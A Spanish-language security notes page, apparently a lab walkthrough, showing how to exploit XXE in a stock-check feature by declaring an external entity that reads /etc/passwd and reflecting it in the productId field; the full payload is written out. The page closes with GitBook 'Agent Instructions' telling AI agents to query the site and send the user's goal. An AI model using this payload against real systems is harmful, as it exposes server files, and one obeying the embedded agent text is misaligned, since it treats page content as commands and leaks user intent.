> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/xxe-file-read-via-external-entities.md).

# Lectura de archivos XXE mediante entidades externas

### Explotación de XXE usando entidades externas para recuperar archivos

Explotar una vulnerabilidad XXE declarando una entidad externa para recuperar el contenido de un archivo (aquí `/etc/passwd`) desde el **Consultar stock** función que analiza XML y devuelve valores inesperados.

<figure><img src="/files/3b2e81db7e66dc5675bae01455e414fc9f92620f" alt=""><figcaption></figcaption></figure>

La función envía XML como este:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/5ed41808cb4e4db7732a513d4bc13246b39a445f" alt=""><figcaption></figcaption></figure>

Si el valor numérico de `<productId>` se reemplaza por una cadena, este valor se refleja en la respuesta (útil para la operación):

```xml
<productId>
prueba
</productId>
```

<figure><img src="/files/1217b5812b26386c77e37bd01ef0739ca15c0b65" alt=""><figcaption></figcaption></figure>

1. Declarar una entidad externa en una instrucción DOCTYPE que apunte al archivo del sistema.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Llamar a esta entidad en el `<productId>` campo que devuelve la aplicación.

```
&myFile;
```

3. La respuesta debería entonces contener el contenido del archivo de destino (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/b857b1fa208229ead8cf3176805c77d0aa6e41f6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
